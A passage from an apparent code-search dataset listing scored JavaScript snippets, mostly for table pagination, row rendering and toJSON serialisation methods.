({\n Filter: DefaultColumnFilter,\n }),\n []\n )\n\n const {\n getTableProps,\n getTableBodyProps,\n headerGroups,\n rows,\n prepareRow,\n state,\n visibleColumns,\n preGlobalFilteredRows,\n setGlobalFilter,\n } = useTable (\n {\n columns,\n data,\n defaultColumn,\n filterTypes,\n initialState: {\n sortBy: [{ id: 'incident_date', desc: true }]\n }\n },\n useFilters,\n useSortBy,\n )\n\n const firstPageRows = rows.slice(0,10)\n\n return (\n <>\n <table className=\"table\" {...getTableProps()}>\n <thead>\n {headerGroups.map(headerGroup => (\n <tr {...headerGroup.getHeaderGroupProps()}>\n {headerGroup.headers.map(column => (\n <th scope=\"col\" {...column.getHeaderProps(column.getSortByToggleProps())}>\n {column.render('Header')}\n {/* Render the columns filter UI */}\n <div>{column.canFilter ? column.render('Filter') : null}</div>\n <span>{column.isSorted ? (column.isSortedDesc ? '' : '') : ''}</span>\n </th>\n ))}\n </tr>\n ))}\n </thead>\n <tbody {...getTableBodyProps()}>\n {firstPageRows.map((row, i) => {\n prepareRow(row)\n return (\n <tr {...row.getRowProps()}>\n {row.cells.map(cell => {\n return <td {...cell.getCellProps()}>{cell.render('Cell')}</td>\n })}\n </tr>\n )\n })}\n </tbody>\n </table>\n <br />\n <div>Showing the first 20 results of {rows.length} rows</div>\n </>\n )\n}", "title": "" }, { "docid": "8a6ec992e99c2b2e5bbef87de7e07fce", "score": "0.5474829", "text": "_forceRenderDataRows() {\n this._dataDiffer.diff([]);\n this._rowOutlet.viewContainer.clear();\n this.renderRows();\n }", "title": "" }, { "docid": "5057d00b6990754ec1260d4d56357b1f", "score": "0.5468899", "text": "handlePageClick(data) {\n const selected = data.selected;\n const offset = Math.ceil(selected * this.state.perPage);\n\n this.setState({\n offset,\n currentPage: selected + 1,\n merchants: this.state.totalRows.slice(offset, offset + this.state.perPage),\n filteredRowsPaged: this.state.filteredRows.slice(offset, offset + this.state.perPage),\n }, () => {\n if (this.state.filteredRowsPaged.length > 0) {\n this.globalSelectorGroup(this.state.filteredRowsPaged);\n } else {\n this.globalSelectorGroup(this.state.merchants);\n }\n });\n }", "title": "" }, { "docid": "f1bbe5c6a8c0952cf6443c016988769e", "score": "0.54683244", "text": "async paginate(per_page = null, page = null) {\r\n if (!_.isNil(per_page)) {\r\n per_page = parseInt(per_page);\r\n } else {\r\n if (Request.has('per_page')) {\r\n per_page = parseInt(Request.get('per_page'));\r\n } else {\r\n per_page = 20;\r\n }\r\n }\r\n if (!_.isNil(page)) {\r\n page = parseInt(page);\r\n } else {\r\n if (Request.has('page')) {\r\n page = parseInt(Request.get('page'));\r\n } else {\r\n page = 1;\r\n }\r\n }\r\n let params = {\r\n offset: (page - 1) * per_page,\r\n limit: per_page,\r\n where: this.getWheres(),\r\n include: this.getIncludes(),\r\n order: this.getOrders(),\r\n distinct: true\r\n };\r\n\r\n if (!_.isArray(this.getAttributes()) && this.getAttributes().length > 0) {\r\n params = _.assign(params, { attributes: this.getAttributes() });\r\n }\r\n let model = this.Models();\r\n if (this.getScopes().length > 0) {\r\n _.forEach(this.getScopes(), scope => {\r\n model = model.scope(scope);\r\n });\r\n }\r\n const result = await model.findAndCountAll(params);\r\n\r\n const paginator = new LengthAwarePaginator(result.rows, result.count, per_page, page);\r\n return paginator;\r\n }", "title": "" }, { "docid": "4ba854b2809b194dfe76e80d3df85912", "score": "0.5460128", "text": "function showResults() {\n document.getElementById(\"records-start\").innerHTML = pageStart;\n document.getElementById(\"records-end\").innerHTML =\n pageStart + pageEntries - 1;\n\n document.getElementById(\"records-total\").innerHTML = ndx.size();\n\n // these two lines determine whether to disable the previous/next buttons\n // depending on where we are in the records.\n d3.select(\"#page-prev\").attr(\n \"disabled\",\n pageStart - pageEntries < 0 ? \"true\" : null\n );\n d3.select(\"#page-next\").attr(\n \"disabled\",\n pageStart + pageEntries >= ndx.size() ? \"true\" : null\n );\n }", "title": "" }, { "docid": "49553107b7ae34720ad17fa932ee22ed", "score": "0.5454967", "text": "getPageRecords () {\n var page = this.getPage(),\n pageSize = this.getPageSize(),\n begin, end;\n\n if (page === 1) { begin = 0; }\n else { begin = (page - 1) * pageSize; }\n end = begin + pageSize;\n\n return this._records.slice(begin, end);\n }", "title": "" }, { "docid": "2d1097e5e40d5d62b9087040889948af", "score": "0.54518974", "text": "function render_table_chunk() {\n\n $tablehead.text('');\n $tablebody.text('');\n \n chunkdata = alien_data.slice((currentPage-1) * perPage, currentPage * perPage);\n\n try {\n \n //setting up a header\n var $headrow = $tablehead.append(\"tr\");\n Object.keys(alien_data[0]).forEach(item => $headrow.append('td').text(item));\n\n // setting up a table\n chunkdata.forEach(function(item) {\n var $bodyrow = $tablebody.append('tr');\n Object.values(item).forEach(value => $bodyrow.append('td').text(value));\n });\n }\n\n catch (error) {\n console.log('NO data in the dataset');\n $tablehead.append('tr')\n .append('td')\n .text('Sorry we do not have the data you have requested. Please refresh the page and do another search.');\n \n d3.selectAll('.pagination')\n .style('display', 'none'); \n }\n\n $currentpage.text(currentPage);\n window.name = JSON.stringify(alien_data);\n numberOfPages = Math.ceil(alien_data.length / perPage);\n \n}", "title": "" }, { "docid": "9b061104a6a0e56e85732406eb8b6d65", "score": "0.54507923", "text": "constructor(props) {\n super(props);\n this.state = { page: 0, items: [], disabled: false };\n }", "title": "" }, { "docid": "eae2ee8c3e972872a837b52c0c16926d", "score": "0.5450574", "text": "function initPagination() {\r\n\tvar num_entries = jQuery('#customerreviewhidden div.reviews').length;\r\n // Create content inside pagination element\r\n jQuery(\".paginationblock\").pagination(num_entries, {\r\n \titems_per_page: 1, // Show only one item block per page\r\n \tcallback: function (page_index, jq){\r\n\t var new_content = jQuery('#customerreviewhidden div.reviews:eq('+page_index+')').clone();\r\n\t $('#viewresult').empty().append(new_content);\r\n\t return false;\r\n\t },\r\n\t prev_text:\"Previous &#8249;\",\r\n\t\tnext_text:\"\t&#8250; More\"\r\n });\r\n }", "title": "" }, { "docid": "02dd6326374a66b669561cd6624afc9d", "score": "0.54490525", "text": "paginateNext(boundThis) {\n\n\n this.settings.offset = this.settings.offset + this.settings.show;\n const dataSet = this.run();\n\n // console.log(dataSet)\n // console.log(dataSet.data)\n\n boundThis.setState({dataToShow: dataSet.data})\n\n return dataSet\n\n }", "title": "" }, { "docid": "7d7ed7319949e43bf892f03f87720f07", "score": "0.54426754", "text": "preparePaginationList(){\n let begin = (this.pageNo - 1) * parseInt(this.recordsPerPage);\n let end = parseInt(begin) + parseInt(this.recordsPerPage);\n this.recordToDisplay = this.recordList.slice(begin,end).map(item=>{\n return {...item, \n \"iconName\":showIcons({itemName:item.name,itemURL :item.downloadURL})\n }\n });\n this.searchBar = this.recordList;\n window.clearTimeout(this.delayTimeout);\n this.delayTimeout = setTimeout(()=>{\n this.disableEnableActions();\n },DELAY);\n }", "title": "" }, { "docid": "78372661be9450ca4c1d0fbd5412749c", "score": "0.54402655", "text": "function displayQueryResults() {\n\t\t\t$scope.resultsAvailable = true;\n\t\t\tresultsOffset = 0;\n\t\t\t$scope.getNextResultsPage();\n\n\t\t}", "title": "" }, { "docid": "53a466d0ba69b12aa392d7de715fd6d5", "score": "0.54293627", "text": "function renderReviewList(rows) {\n reviewList.children().not(\":last\").remove();\n reviewContainer.children(\".alert\").remove();\n if (rows.length) {\n console.log(rows);\n reviewList.prepend(rows);\n }\n\n else {\n console.log(rows);\n renderEmpty();\n }\n }", "title": "" }, { "docid": "0ff1d4bfde4c341156aed5317d2b0dd9", "score": "0.54286087", "text": "reinitialize(returnToTop = false) {\n const me = this; // Calculate and correct the amount of rows needed (without triggering render)\n // Rows which are found to be surplus are destroyed.\n\n me.calculateRowCount(false, true, true); // If our row range is outside of the store's range, force a return to top\n\n if (me.topIndex + me.rowCount - 1 > me.store.count) {\n returnToTop = true;\n }\n\n const top = me.topRow && !returnToTop ? me.topRow.top : 0;\n me.scrollTargetRecordId = null;\n\n if (returnToTop) {\n me.topIndex = me.lastScrollTop = 0;\n }\n\n const {\n topRow\n } = me;\n\n if (topRow) {\n // Ensure rendering from the topRow starts at the correct position\n topRow.dataIndex = me.topIndex;\n topRow.setTop(top, true);\n } // Need to estimate height in case we have Grid using autoHeight\n\n me.estimateTotalHeight();\n me.renderFromRow(topRow);\n }", "title": "" }, { "docid": "996873c7bbaa76c74b2ed2d545f8ecbb", "score": "0.5426338", "text": "render() {\n if(this.props.GeneralStats.totalDocCnt==0){\n return(\n <div>\n No Results Found.\n </div>)\n }\n return (\n <div className=\"ResultsContainer\">\n <ResultsTable Title={\"News\"} NewsItems={this.props.NewsItems}/>\n </div>\n );\n }", "title": "" }, { "docid": "d523c36137b1bd62b0e74ea3c87d7f7d", "score": "0.5425575", "text": "function _currentPageData() {\n let first = rows.length > 0 ? (currentPage - 1) * rowsPerPage + 1 : 0;\n let last = rows.length < rowsPerPage ? totalItems : (currentPage - 1) * rowsPerPage + rowsPerPage;\n \n return {\n first,\n last,\n current:currentPage,\n totalItems,\n } \n }", "title": "" }, { "docid": "98392dc48fad0fcf4cf66df052cb90cb", "score": "0.5419629", "text": "get paginator() { return this._paginator; }", "title": "" }, { "docid": "da0182e3d745361f4a8d8232ae7a5ebe", "score": "0.541869", "text": "function getAllActivityLogTable() {\n\n vm.allActivityLogsPagination.length = 0;\n\n vm.tableParams = new NgTableParams({\n // initial value for page\n \n page: 1, // initial page\n count: 10, // number of records in page,\n filter: {\n \"description\": '',\n \"fromDate\": new Date(vm.preMonth.setHours(0,0,0,0)), \n \"toDate\": new Date(new Date().setHours(23,59,59,59))\n } \n },\n {\n counts: [],\n total: vm.allActivityLogsPagination.length,\n getData : function( $defer, params){\n\n vm.paginationLoaded = false;\n\n var tableParams = {\n pageNumber: params.page(),\n pageSize: params.count(),\n filterFieldParams: [\n {\n \"fieldKey\":\"description\",\n \"fieldValue\": params.filter().description\n }\n ],\n filterDateParams: [\n {\n \"fieldKey\":\"fromDate\",\n \"fieldValue\": new Date(params.filter().fromDate.setHours(0,0,0,0))\n },\n {\n \"fieldKey\":\"toDate\",\n \"fieldValue\": new Date(params.filter().toDate.setHours(23,59,59,59))\n }\n ]\n };\n\n ActivityLogService.getAllActivityLogByPagination(tableParams).then(\n function(successResponse){\n\n vm.paginationLoaded = true;\n\n vm.sno = PaginationService.getSno(tableParams);\n vm.allActivityLogsPagination = successResponse.data.activityLogDtos;\n\n params.total(successResponse.data.totalNumberOfRecords);\n\n $defer.resolve(vm.allActivityLogsPagination);\n },\n function(errorResponse){\n\n vm.paginationLoaded = true;\n vm.allActivityLogsPagination.length = 0;\n $defer.resolve(vm.allActivityLogsPagination);\n\n });\n }\n });\n\n }", "title": "" }, { "docid": "dea80cdfe6626ca874e46297444e952f", "score": "0.54166657", "text": "function getPage(start, number, params) {\n\n var result;\n var totalRows;\n\n getRandomsItems(function cb(randomsItems) {\n var filtered = params.search.predicateObject ? $filter('customFilter')(randomsItems, params.search.predicateObject) : randomsItems;\n console.log(\"Filtro:\" + JSON.stringify(params.search.predicateObject));\n\n if (params.sort.predicate) {\n filtered = $filter('orderBy')(filtered, params.sort.predicate, params.sort.reverse);\n }\n\n result = filtered.slice(start, start + number);\n totalRows = randomsItems.length;\n\n /*console.log(\"Result : \" + JSON.stringify(result));\n console.log(\"Total Rows : \" + JSON.stringify(totalRows));*/\n });\n\n\n var deferred = $q.defer();\n\n $timeout(function () {\n\n deferred.resolve({\n data: result,\n numberOfPages: Math.ceil(totalRows / number)\n });\n\n }, 1500);\n\n return deferred.promise;\n\n }", "title": "" }, { "docid": "957ba1ac46403d93d537a0236b7b6430", "score": "0.54135734", "text": "function setPageStatus( start, end, totalRows) {\r\n if (end > totalRows) { \r\n $(\"#RowEnd\").html(totalRows);\r\n } else {\r\n $(\"#RowEnd\").html(end + 1);\r\n }\r\n $(\"#TotalRows\").html(totalRows);\r\n \r\n var numPages = Math.ceil(totalRows / gblRowsPerPage);\r\n if ( numPages === 0) {\r\n numPages = 1;\r\n $(\"#RowStart\").html(0);\r\n } else {\r\n $(\"#RowStart\").html(start +1);\r\n } \r\n $('#numberPageSelection').bootpag({\r\n total: numPages\r\n }); \r\n}", "title": "" }, { "docid": "a63a90ee0f1115d30c1d7fa38ad3f7ec", "score": "0.5412701", "text": "renderPage() {\n const shows = Anime.collection.find({}).fetch();\n\n return (\n <div className=\"gray-background\">\n <Container>\n <Header as=\"h2\" textAlign=\"center\">AniMoo List</Header>\n <Table celled>\n <Table.Header>\n <Table.Row>\n <Table.HeaderCell>Title</Table.HeaderCell>\n <Table.HeaderCell>Image</Table.HeaderCell>\n <Table.HeaderCell>Summary</Table.HeaderCell>\n <Table.HeaderCell>Episodes</Table.HeaderCell>\n <Table.HeaderCell>Rating</Table.HeaderCell>\n <Table.HeaderCell>Add To Favorites</Table.HeaderCell>\n </Table.Row>\n </Table.Header>\n <Table.Body>\n {this.props.anime.slice((this.state.activePage - 1) * 25, this.state.activePage * 25).map((show) => <AnimeItem key={show._id} anime={show} />)}\n </Table.Body>\n </Table>\n <Pagination\n activePage={this.activePage}\n totalPages={Math.ceil(shows.length / 25)}\n firstItem={{ content: <Icon name='angle double left'/>, icon: true }}\n lastItem={{ content: <Icon name='angle double right'/>, icon: true }}\n prevItem={{ content: <Icon name='angle left'/>, icon: true }}\n nextItem={{ content: <Icon name='angle right'/>, icon: true }}\n onPageChange={this.handlePageChange}\n />\n </Container>\n </div>\n );\n }", "title": "" }, { "docid": "2e572097a63470268467e3ffdb84ce9c", "score": "0.5410373", "text": "setupPaginator(newProps) {\n if (this.state.filteredRows.length) {\n return this.state.filteredRows.length > this.state.perPage;\n }\n\n return newProps.merchants ? newProps.merchants.length > this.state.perPage : null;\n }", "title": "" }, { "docid": "56368dd1a5858f6dd74c70e4d27a4e2e", "score": "0.54050004", "text": "dataInit() {\n this.paginate.page = 1\n this.data = _.cloneDeep(this.model)\n }", "title": "" }, { "docid": "1836e931261616662c850db347e133b8", "score": "0.5402136", "text": "function displayTen() {\n firstPageDisplayed = false;\n hideAllPosts();\n showPosts(10);\n}", "title": "" }, { "docid": "fdd22d85300a2b236fe257a5edc52791", "score": "0.5397568", "text": "get hidePageSize() { return this._hidePageSize; }", "title": "" }, { "docid": "500947ee20aa51d7eb8f18e8cbabfdb3", "score": "0.53950864", "text": "function postShowQueryResultsPreview(data, textStatus, jqXHR, param) {\n\tvar totalRows = data[0]['id'];\n\tshowQueryResultsTable(param.predUrl, param.limit, totalRows, param.offset);\n}", "title": "" }, { "docid": "4a3359395b2ab116c6b6f1165d3aad74", "score": "0.5378786", "text": "function initPagination() {\n _initSearchablePagination(\n $list,\n $('#search_form'),\n $('#pagination'), \n {\n url: '/appraisal_companies/_manager_list',\n afterLoad: function (content) {\n $list.html(content);\n initDelete();\n }\n }\n );\n }", "title": "" }, { "docid": "4566279fbc9c5a6f6e54f37ef4e681dc", "score": "0.5371215", "text": "function TablePaginationActions(props) {\n const classes = useStyles1();\n const theme = useTheme();\n const { count, page, rowsPerPage, onChangePage } = props;\n\n const handleFirstPageButtonClick = event => {\n onChangePage(event, 0);\n };\n\n const handleBackButtonClick = event => {\n onChangePage(event, page - 1);\n };\n\n const handleNextButtonClick = event => {\n onChangePage(event, page + 1);\n };\n\n const handleLastPageButtonClick = event => {\n onChangePage(event, Math.max(0, Math.ceil(count / rowsPerPage) - 1));\n };\n\n return (\n <div className={classes.root}>\n <IconButton\n onClick={handleFirstPageButtonClick}\n disabled={page === 0}\n aria-label=\"first page\"\n >\n {theme.direction === 'rtl' ? <LastPageIcon /> : <FirstPageIcon />}\n </IconButton>\n <IconButton onClick={handleBackButtonClick} disabled={page === 0} aria-label=\"previous page\">\n {theme.direction === 'rtl' ? <KeyboardArrowRight /> : <KeyboardArrowLeft />}\n </IconButton>\n <IconButton\n onClick={handleNextButtonClick}\n disabled={page >= Math.ceil(count / rowsPerPage) - 1}\n aria-label=\"next page\"\n >\n {theme.direction === 'rtl' ? <KeyboardArrowLeft /> : <KeyboardArrowRight />}\n </IconButton>\n <IconButton\n onClick={handleLastPageButtonClick}\n disabled={page >= Math.ceil(count / rowsPerPage) - 1}\n aria-label=\"last page\"\n >\n {theme.direction === 'rtl' ? <FirstPageIcon /> : <LastPageIcon />}\n </IconButton>\n </div>\n );\n}", "title": "" }, { "docid": "61d0a65d9b3c0f564a02b325f128ec4a", "score": "0.5368859", "text": "function getPladPaginatorWithSearch(containers, rowsPerPage, idSearch) {\r\n return new Y.widget.Paginator(\r\n {\r\n containers : containers,\r\n rowsPerPage : rowsPerPage,\r\n containerClass : \"plad-paginator\",\r\n template : \"<a href='#' onclick='return false;' id='\"\r\n + idSearch\r\n + \"'><img src='\"\r\n + Y.ctx\r\n + \"/mxges/images/icon_search.gif' height='15' style='vertical-align:top' alt='Busqueda' /></a> {FirstPageLink} {PreviousPageLink} <span class='plad-pgntor'>{CurrentPageReport}</span> {NextPageLink} {LastPageLink}\",\r\n firstPageLinkLabel : \"<img src='\" + Y.ctx + \"/mxges/images/first_on.gif' class='plad-pgntor-img' alt='Primera' />\",\r\n firstPageLinkClass : \"yui-pg-first\",\r\n lastPageLinkLabel : \"<img src='\" + Y.ctx + \"/mxges/images/last_on.gif' class='plad-pgntor-img' alt='Ultima' />\",\r\n lastPageLinkClass : \"yui-pg-last\",\r\n previousPageLinkLabel : \"<img src='\" + Y.ctx + \"/mxges/images/prev_on.gif' class='plad-pgntor-img' alt='Anterior' />\",\r\n previousPageLinkClass : \"yui-pg-previous\",\r\n nextPageLinkLabel : \"<img src='\" + Y.ctx + \"/mxges/images/next_on.gif' class='plad-pgntor-img' alt='Siguiente' />\",\r\n nextPageLinkClass : \"yui-pg-next\",\r\n pageReportTemplate : \"Pag. {currentPage} de {totalPages}\"\r\n });\r\n}", "title": "" }, { "docid": "ac4a9fcc1eda80a4c6f95788e59b16bf", "score": "0.5365576", "text": "function filteredRows(err, rows, fields, req, res, recordsTotal, searchquery, names) {\n\tif (err) throw err;\n\t\n\trecordsFiltered = rows[0].total;;\n\t\n\tdirection = (req.query.order[0].dir == \"asc\" ? \"asc\" : \"desc\");\n\t\n\tsqlquery = \"SELECT * FROM benchmark\"+searchquery+\" ORDER BY \"+names[req.query.order[0].column]+\" \"+ direction +\" LIMIT \"+parseInt(req.query.length)+\" OFFSET \"+parseInt(req.query.start);\n\t\n\tconnection.query(sqlquery, \n\t\t(err, results, fields) => {selectData(err, results, fields, req, res, recordsTotal, recordsFiltered)});\n}", "title": "" }, { "docid": "8518012acb15cecbc58dd6a00ff3e352", "score": "0.53631", "text": "function resetDataForDelete(){\n \tvar count = $('.sanPhamTable tbody').children().length;\n \t$('.sanPhamTable tbody tr').remove();\n \tvar page = $('li.active').children().text();\n \t$('.pagination li').remove();\n \tconsole.log(page);\n \tif(count == 1){ \t\n \t\tajaxGet(page -1 );\n \t} else {\n \t\tajaxGet(page);\n \t}\n\n }", "title": "" } ]
b0cae94810923465ab3c548351d43576
don't use spEntity.toJSON in the map calls due to its additional 'hidden' args
[ { "docid": "5cd4c2c30837d45a2a329c1fc97a0821", "score": "0.67300844", "text": "function toJson(e) {\n return spEntity.toJSON(e);\n }", "title": "" } ]
[ { "docid": "14c1ca42fa6ee084cc9cfb0bc20bf12e", "score": "0.61311543", "text": "toJSON() {\n return {\n id: this.id,\n ownerId: this.ownerId,\n accessKey: this.accessKey,\n ...this[inspectCustomData]()\n };\n }", "title": "" }, { "docid": "2fcf8dcb8b08eabc3238cbcb1a219ba4", "score": "0.6096936", "text": "toSimplifiedJSON(){}", "title": "" }, { "docid": "67c06f4a1ad0219b6fbb4d3a983d36fa", "score": "0.5926897", "text": "toJSON() {\n \t const map = {\n \t version: this._version,\n \t sources: this._sources.toArray(),\n \t names: this._names.toArray(),\n \t mappings: this._serializeMappings()\n \t };\n \t if (this._file != null) {\n \t map.file = this._file;\n \t }\n \t if (this._sourceRoot != null) {\n \t map.sourceRoot = this._sourceRoot;\n \t }\n \t if (this._sourcesContents) {\n \t map.sourcesContent = this._generateSourcesContent(map.sources, map.sourceRoot);\n \t }\n\n \t return map;\n \t }", "title": "" }, { "docid": "2eea804687d1e6e51231862ca4aaef63", "score": "0.59242994", "text": "toJSON(){const map={version:this._version,sources:this._sources.toArray(),names:this._names.toArray(),mappings:this._serializeMappings()};if(this._file!=null){map.file=this._file;}if(this._sourceRoot!=null){map.sourceRoot=this._sourceRoot;}if(this._sourcesContents){map.sourcesContent=this._generateSourcesContent(map.sources,map.sourceRoot);}return map;}", "title": "" }, { "docid": "34b759aeda39e69ead76534da252c321", "score": "0.58480704", "text": "_setAssetMap() {\n if (IsObject(this.asset.entity, true)) {\n Object.keys(this.asset.entity).map(entityId => {\n const entity = this.asset.entity[entityId];\n this.assetMap.entity[entity.internal_name] = entityId;\n });\n }\n }", "title": "" }, { "docid": "17b52b313afc482476a26e9298dfe564", "score": "0.58405954", "text": "toJSON() {\n return super.toJSON();\n }", "title": "" }, { "docid": "97ab590e115d3975bc841c26d3d7fdc6", "score": "0.582017", "text": "toJSON() {\n return {\n ...this[inspectCustomData](),\n type: this.type,\n subTypes: this.subTypes,\n state: this.state\n };\n }", "title": "" }, { "docid": "e9cdafed9ebe2a67f680ca7379df5227", "score": "0.5784311", "text": "toJSON() { return { low: this.low.toJSON(), high: this.high.toJSON() }; }", "title": "" }, { "docid": "67995ed95c3ad3827b0d0c92c87ca459", "score": "0.5762722", "text": "toJSON () {\n return JSON.stringify(this.serializable())\n }", "title": "" }, { "docid": "a30e1b5e09e9a2a4d63d5fcff4721b24", "score": "0.57448286", "text": "get json(){\n let tmp = {};\n Object.keys(this).forEach(function(key){ tmp[key] = this[key]; }, this);\n Object.keys(this._unhideOnSerialize).forEach(function(key){ tmp[key] = this[key]; }, this);\n return(JSON.stringify(tmp));\n}", "title": "" }, { "docid": "75b4f86e96353a3d358d360cc24c75f7", "score": "0.574228", "text": "toJSON() {\n return null;\n }", "title": "" }, { "docid": "75b4f86e96353a3d358d360cc24c75f7", "score": "0.574228", "text": "toJSON() {\n return null;\n }", "title": "" }, { "docid": "75b4f86e96353a3d358d360cc24c75f7", "score": "0.574228", "text": "toJSON() {\n return null;\n }", "title": "" }, { "docid": "d5fa7e7b1cb257cf58e7fb58edfb6761", "score": "0.5702595", "text": "toJSON() {\n return this.items.map((item) => item.toJSON());\n }", "title": "" }, { "docid": "3420ee8b440cf33c32daf86bc88e9bca", "score": "0.5697664", "text": "toJSON() {\n return this[inspectCustomData]();\n }", "title": "" }, { "docid": "9e198d2671d3b83dec8dcace4a4a72a2", "score": "0.5644282", "text": "toJSON() {\n return {\n latitude: this._lat,\n longitude: this._long\n };\n }", "title": "" }, { "docid": "23cbc855a74d425e8426ca0a752bbb91", "score": "0.5630748", "text": "makeentp(ent) {\n const fields = ent.fields$()\n const entp = {}\n\n for (const field of fields) {\n if (!intern.isDate(ent[field]) && intern.isObject(ent[field])) {\n entp[field] = JSON.stringify(ent[field])\n } else {\n entp[field] = ent[field]\n }\n }\n\n return entp\n }", "title": "" }, { "docid": "e43262c38321d4e86da0299d5b8b2d0c", "score": "0.5616212", "text": "toJSON() { return this.toString(); }", "title": "" }, { "docid": "562bf8cd69dee6f29126fe3d764255aa", "score": "0.5613277", "text": "toJSON() { return JSON.stringify(this.toArray()); }", "title": "" }, { "docid": "1ed38381ee7a00a0808b6bd3e8137f33", "score": "0.56081706", "text": "toJSON(showHistory=false, showPropertyHistoryOnly=true, showHistoryTimeline=false, modifiedOnlyProperties=false, fullDescription=true, filteredPropertiesByName=null, includeAssociatedEntities=false, wdf = false) {\n if (!showHistoryTimeline) {\n if (filteredPropertiesByName !== null && !Array.isArray(filteredPropertiesByName)) {\n throw new Error('Establishment::toJSON filteredPropertiesByName must be a simple Array of names');\n }\n\n // JSON representation of extendable properties - with optional filter\n const myJSON = this._properties.toJSON(showHistory, showPropertyHistoryOnly, modifiedOnlyProperties, filteredPropertiesByName, false);\n\n // add Establishment default properties\n // using the default formatters\n const myDefaultJSON = {\n id: this.id,\n uid: this.uid,\n name: this.name,\n };\n\n if (fullDescription) {\n myDefaultJSON.address = this.address;\n myDefaultJSON.address1 = this.address1;\n myDefaultJSON.address2 = this.address2;\n myDefaultJSON.address3 = this.address3;\n myDefaultJSON.town = this.town;\n myDefaultJSON.county = this.county;\n myDefaultJSON.postcode = this.postcode;\n myDefaultJSON.locationId = this.locationId;\n myDefaultJSON.provId = this.provId;\n myDefaultJSON.isRegulated = this.isRegulated;\n myDefaultJSON.nmdsId = this.nmdsId;\n myDefaultJSON.isParent = this.isParent;\n myDefaultJSON.parentUid = this.parentUid;\n myDefaultJSON.dataOwner = this.dataOwner;\n myDefaultJSON.parentPermissions = this.isParent ? undefined : this.parentPermissions;\n myDefaultJSON.reasonsForLeaving = this.reasonsForLeaving;\n }\n\n // bulk upload status\n if (this._status) {\n myDefaultJSON.status = this._status;\n }\n\n myDefaultJSON.created = this.created ? this.created.toJSON() : null;\n myDefaultJSON.updated = this.updated ? this.updated.toJSON() : null;\n myDefaultJSON.updatedBy = this.updatedBy ? this.updatedBy : null;\n\n // TODO: JSON schema validation\n if (showHistory && !showPropertyHistoryOnly) {\n return {\n ...myDefaultJSON,\n ...myJSON,\n history: this.formatHistoryEvents(this._auditEvents)\n };\n } else {\n return {\n ...myDefaultJSON,\n ...myJSON,\n workers: includeAssociatedEntities ? Object.values(this._workerEntities).map(thisWorker => thisWorker.toJSON(false, false, false, false, true)): undefined,\n };\n }\n } else {\n return {\n id: this.id,\n uid: this.uid,\n name: this.name,\n created: this.created.toJSON(),\n updated: this.updated.toJSON(),\n updatedBy: this.updatedBy,\n history: this.formatHistory(this._auditEvents)\n };\n }\n }", "title": "" }, { "docid": "6e95e95df58913d12c9bd106c21ef87c", "score": "0.5607749", "text": "toJSON() {\n return {\n ...this.get(),\n synonym: encrypt(this.synonym), // krypterer fasit svaret\n created_at: undefined,\n updated_at: undefined\n }\n }", "title": "" }, { "docid": "a8d18db7b09acc77023bfb9b6674d7d9", "score": "0.55945444", "text": "toJSON() {\n return {\n ...this.get(),\n created_at: undefined,\n updated_at: undefined\n }\n }", "title": "" }, { "docid": "7270480b629b1da3ed8b1d783c1e3718", "score": "0.5580524", "text": "toJSON() {\n return JSON.stringify(this.entries);\n }", "title": "" }, { "docid": "1e0e381efd48cc7bd18892abca134733", "score": "0.5567811", "text": "toJSON() {\n return this.toObject();\n }", "title": "" }, { "docid": "96143eba506615036d16c67663641b67", "score": "0.5567089", "text": "toString(){return JSON.stringify(this.toJSON());}", "title": "" }, { "docid": "baa85687a95e724199ba50cf1aefc583", "score": "0.5550866", "text": "toJSON() {\n\t const map = {\n\t version: this._version,\n\t sources: this._sources.toArray(),\n\t names: this._names.toArray(),\n\t mappings: this._serializeMappings()\n\t };\n\t if (this._file != null) {\n\t map.file = this._file;\n\t }\n\t if (this._sourceRoot != null) {\n\t map.sourceRoot = this._sourceRoot;\n\t }\n\t if (this._sourcesContents) {\n\t map.sourcesContent = this._generateSourcesContent(map.sources, map.sourceRoot);\n\t }\n\n\t return map;\n\t }", "title": "" }, { "docid": "ec0950fe2c3423ee93d5c3b0915251a3", "score": "0.5538966", "text": "static toJson() {\n\t\treturn toJson();\n\t}", "title": "" }, { "docid": "99d605037be7faa55c5b059edb1160a7", "score": "0.55329245", "text": "toString() {\n \t return JSON.stringify(this.toJSON());\n \t }", "title": "" }, { "docid": "7063e43388ac38fda48bf747dd544009", "score": "0.5523846", "text": "toJSON() {\r\n return {\r\n position: this.position,\r\n isSwitchable: this.isSwitchable,\r\n isDimmable: this.isDimmable,\r\n };\r\n }", "title": "" }, { "docid": "0a47c601a03e322ff8d8f71ec870a2e2", "score": "0.5522962", "text": "toJSON () {\n let other = this.other\n let remoteAgent = this.remoteAgent\n let that = this\n that.other = undefined\n that.remoteAgent = undefined\n var json = {}\n for (var val in this) {\n if (this[val] instanceof Array) {\n let arr = []\n for (var i in this[val]) {\n arr.push(this[val][i].toJSON())\n }\n json[val] = arr\n } else if (typeof this[val] === 'object') {\n json[val] = this[val].toJSON()\n } else if (typeof this[val] !== 'undefined') {\n json[val] = this[val]\n }\n }\n this.other = other\n this.remoteAgent = remoteAgent\n return json\n }", "title": "" }, { "docid": "820e1f46d5f2183bfbf380833bb1eabd", "score": "0.551438", "text": "toJSON()\n {\n return {\n \"fenceDistance\": this._fenceDistance,\n \"GPSAccuracy\": this._GPSAccuracy,\n \"point\": this._point,\n \"polygon\": this._polygon,\n };\n }", "title": "" }, { "docid": "1a97edf082b6a6f55a38c847afa4c038", "score": "0.546528", "text": "function $$Base$$_toJSON() {\n return $$Immutable$toJSON$$toJSON(this);\n }", "title": "" }, { "docid": "fc3cb2d8955f577a11ee608b8f82f203", "score": "0.544785", "text": "toJSON() {\n let jsonObj = {\n \"_id\": this._id,\n \"pin\": this.pin,\n \"createDate\": this.createDate,\n \"lastModified\": this.lastModified,\n \"finishedTime\": this.finishedTime,\n \"status\": this.status,\n \"stage\": this.stage,\n \"modelType\": this.modelType,\n \"manufacturerReq\": this.manufacturerReq,\n \"supplyOrders\": this.supplyOrders,\n \"colors\": this.colors,\n \"assembledModel\": this.assembledModel\n };\n return jsonObj;\n }", "title": "" }, { "docid": "6a5208a5cc57dcc7b94ffdcfe2112ac8", "score": "0.5446509", "text": "toJson() {\n return {\n id: this.id,\n militaryId: this.militaryId,\n recordId: this.recordId,\n force: this.force,\n army: this.army,\n address: this.address,\n joinDate: this.joinDate,\n releaseDate: this.releaseDate,\n recruitmentLevel: this.recruitmentLevel,\n recruitmentArea: this.recruitmentArea,\n educationRank: this.educationRank,\n influences: this.influences,\n unit: this.unit,\n units: this.units,\n situation: this.situation,\n treatment: this.treatment,\n totalRate: this.totalRate,\n name: this.name,\n fullName: 